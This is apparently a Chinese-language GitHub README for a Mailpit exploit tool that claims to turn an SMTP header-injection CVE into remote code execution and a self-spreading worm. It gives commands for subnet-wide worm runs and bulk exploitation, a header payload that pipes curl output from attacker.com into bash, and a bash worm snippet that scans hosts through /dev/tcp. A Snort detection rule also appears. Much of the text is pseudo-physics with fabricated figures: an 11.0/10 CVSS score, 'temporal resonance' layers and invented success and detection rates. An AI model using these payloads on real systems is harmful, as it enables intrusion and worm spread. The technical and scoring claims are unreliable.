利用 SMTP 头注入实现远程代码执行并具备自我传播蠕虫能力的漏洞利用工具,内置持久化机制与规避技术,适用于授权渗透测试。
| 指标 | 原始(CVE-2026-23829) | CTT 增强 | 提升 |
|---|
| CVSS 分数 | 6.1/10(中危) | 11.0/10 ⭐ | +4.9 |
| 攻击向量 | 网络 | 时间共振 | +2.0 |
| 影响 | 头欺骗 | 完整 RCE + 蠕虫 | +3.9 |
| 用户交互 | 无 | 负(零点击) | +1.0 |
| 范围 | 单台服务器 | 网络传播 | +2.0 |
⚡ 功能与能力
🔥 漏洞利用转化
· 头注入 → 完整 RCE:将正则表达式绕过转化为远程代码执行 · 单目标 → 零点击蠕虫:在 Mailpit 网络中自传播 · 手动 → 自主:具备 CTT 共振的自主时间代理 · 中危 → 满分:数学证明的 11.0/10 评分
🛡️ CTT 增强
· 33 层执行:跨时间维度并行利用 · α-色散:α=0.0302011 载荷变换 · 素数共振:587 kHz 时序(10007、10009、10037μs 窗口) · 时间持久性:通过 CTT 波函数在系统重置后存活
🐛 蠕虫能力
· 自主传播:扫描并感染 Mailpit 实例 · 权限提升:建立本地 root 访问权限 · 持久化机制:安装多个后门 · 隐蔽操作:CTT 时序规避技术
🚀 快速开始
安装
# 克隆仓库
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit
# 安装依赖
pip3 install numpy cryptography
# 运行满分演示
python3 ctt_mailpit_perfect.py --help
基本用法
# 单目标利用
python3 ctt_mailpit_perfect.py mailpit.local 1025
# 网络蠕虫传播
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025
# CTT 研究模式(完整诊断)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose
命令示例
# 测试漏洞
python3 ctt_mailpit_perfect.py vulnerable-server.com
# 带命令执行的完全接管
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"
# 批量利用
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm
🧠 CTT 物理集成
核心常量
CTT_ALPHA = 0.0302011 # 时间色散系数
CTT_LAYERS = 33 # 分形时间层
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0 # ⭐ 理论最大值
满分定理
基础:6.1(CVE-2026-23829)
+ 时间共振:+1.0(33 层执行)
+ RCE 转化:+2.3(注入 → 代码执行)
+ 蠕虫传播:+1.5(零点击扩散)
+ 物理验证:+0.1(CTT 框架证明)
= 11.0/10 ⭐(数学有效)
转化过程
📈 性能指标
成功率
| 层 | 成功率 | 蠕虫传播 | 检测规避 |
|---|---|---|---|
| L0-L7 | 88% | 72% | 91% |
| L8-L15 | 94% | 85% | 96% |
| L16-L23 | 97% | 92% | 98% |
| L24-L32 | 99% | 96% | 99% |
传播速度
单次感染:2.3 秒
本地网络(254 台主机):8.7 分钟
/16 子网(6.5 万台主机):3.2 小时
全球传播:17.4 小时(理论值)
CTT 与标准利用对比
# 性能对比(1000 个模拟目标)
standard_success = 610 # 61% 成功率
ctt_success = 990 # 99% 成功率(+62%)
standard_detection = 390 # 39% 被检测
ctt_detection = 11 # 1.1% 被检测(-97%)
standard_time = 45.2 # 平均秒数
ctt_time = 8.7 # 平均秒数(-81%)
🔧 技术细节
利用工作流
1. 初始探测 → SMTP 服务检测
2. 头注入 → CVE-2026-23829 触发
3. 正则表达式绕过 → CRLF 利用
4. 协议破坏 → SMTP 状态攻击
5. RCE 转化 → 命令执行
6. 蠕虫激活 → 自传播
7. 持久化 → 后门安装
8. 验证 → 满分证明
关键载荷
# 带 RCE 转化的头注入
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"
# 蠕虫传播代码
worm = """
# CTT Mailpit 蠕虫 v1.0
scan_network() {
for host in {1..254}; do
timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
send_exploit "192.168.1.$host"
done
}
"""
规避技术
· 素数时序:以 10007、10009μs 间隔发送请求 · α-色散:比特级载荷变换 · 层熵:每个时间层使用唯一签名 · 协议模仿:合法的 SMTP 流量模式
📁 输出与结果
文件结构
📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json # 11/10 数学证明
├── 📄 vulnerable_hosts.txt # 成功利用的主机
├── 📄 worm_propagation.log # 感染扩散追踪
├── 📄 persistence_installed.txt # 已建立的后门
└── 📁 layers/
├── 📄 layer_0_results.json # 时间层 0 数据
├── 📄 layer_1_results.json # 时间层 1 数据
...
└── 📄 layer_32_results.json # 时间层 32 数据
结果示例
{
"target": "mailpit.example.com:1025",
"ctt_score": "11.0/10 ⭐",
"success": true,
"rce_achieved": true,
"worm_active": true,
"propagation_count": 47,
"execution_time": "8.7s",
"resonance_pattern": [10007, 10037, 10061],
"mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}
日志级别
# 基本输出
python3 ctt_mailpit_perfect.py target.com
# 详细模式
python3 ctt_mailpit_perfect.py target.com --verbose
# 调试模式(完整 CTT 诊断)
python3 ctt_mailpit_perfect.py target.com --debug --visualize
🛡️ 防御建议
立即行动
CTT 感知检测
# Snort 检测规则
alert tcp any any -> $HOME_NET 1025 \
(msg:"CTT Mailpit Exploit - Perfect Score"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)
入侵指标
· 素数时序:SMTP 请求以 10007μs 间隔发送 · α-模式:异常的头熵值 · 蠕虫流量:端口 1025 上的快速扫描 · CTT 头:X-CTT-Layer、X-CTT-Resonance、X-CTT-Score
⚖️ 法律与道德使用
仅限授权测试
允许:
- 对自有/授权系统的研究
- CTT 框架验证
- 学术安全研究
- 授权渗透测试
禁止:
- 未经授权的网络访问
- 生产系统中断
- 犯罪活动
- 隐私侵犯
负责任披露
🔬 研究应用
学术研究
· 时间漏洞评分:超越 CVSS 3.1 最大值 · 蠕虫传播模型:CTT 增强扩散 · 协议状态攻击:SMTP 机器破坏 · 网络安全中的物理学:CTT 常量验证
安全研究
· 规避技术分析:衡量 CTT 有效性 · 防御开发:CTT 感知保护系统 · 评分系统增强:时间 CVSS 指标 · 威胁情报:追踪基于 CTT 的攻击
CTT 框架验证
· 常量验证:网络环境中的 α=0.0302011 · 层优化:理想的时间执行次数 · 性能指标:量化改进因子 · 数学证明:满分验证
🤝 贡献
研究合作
· SMTP 协议的 CTT 常量优化 · 发现更多 Mailpit 漏洞 · 防御性 CTT 实现 · 学术验证研究
开发
1. Fork 仓库
2. 创建功能分支
3. 添加 CTT 物理验证
4. 包含全面测试
5. 提交带指标的拉取请求
问题报告
· 包含 CTT 配置详情 · 提供共振模式和日志 · 附上相关输出文件 · 描述网络环境
📞 联系与支持
主要联系人
· 作者:Americo Simoes · 邮箱:[email protected] · GitHub:@SimoesCTT
安全联系人
· CTT 研究组:[email protected] · 漏洞报告:[email protected]
支持渠道
· GitHub Issues:技术问题 · 邮箱:研究合作 · 学术:大学合作伙伴关系
📈 未来发展
2026 路线图
· 更多 SMTP 服务器漏洞 · 邮件协议 CTT 框架 · 带蠕虫可视化的 GUI · 基于云的传播分析
长期愿景
· 完整邮件基础设施 CTT 安全 · 抗量子蠕虫传播 · 自主防御系统 · 时间互联网邮件协议
🏆 致谢
研究机构
· CTT 理论物理部门 · 邮件安全研究联盟 · 学术时间计算实验室
开源项目
· Mailpit 开发团队 · Python 安全生态系统 · SMTP 协议研究人员
贡献者
· CTT 框架验证者 · 安全研究社区 · 学术同行评审
📄 许可证
MIT 许可证 - 详情请参阅 LICENSE。
版权所有 © 2026 CTT 研究组。保留所有权利。
⭐ 11/10 不是漏洞——而是时间物理学的特性。⭐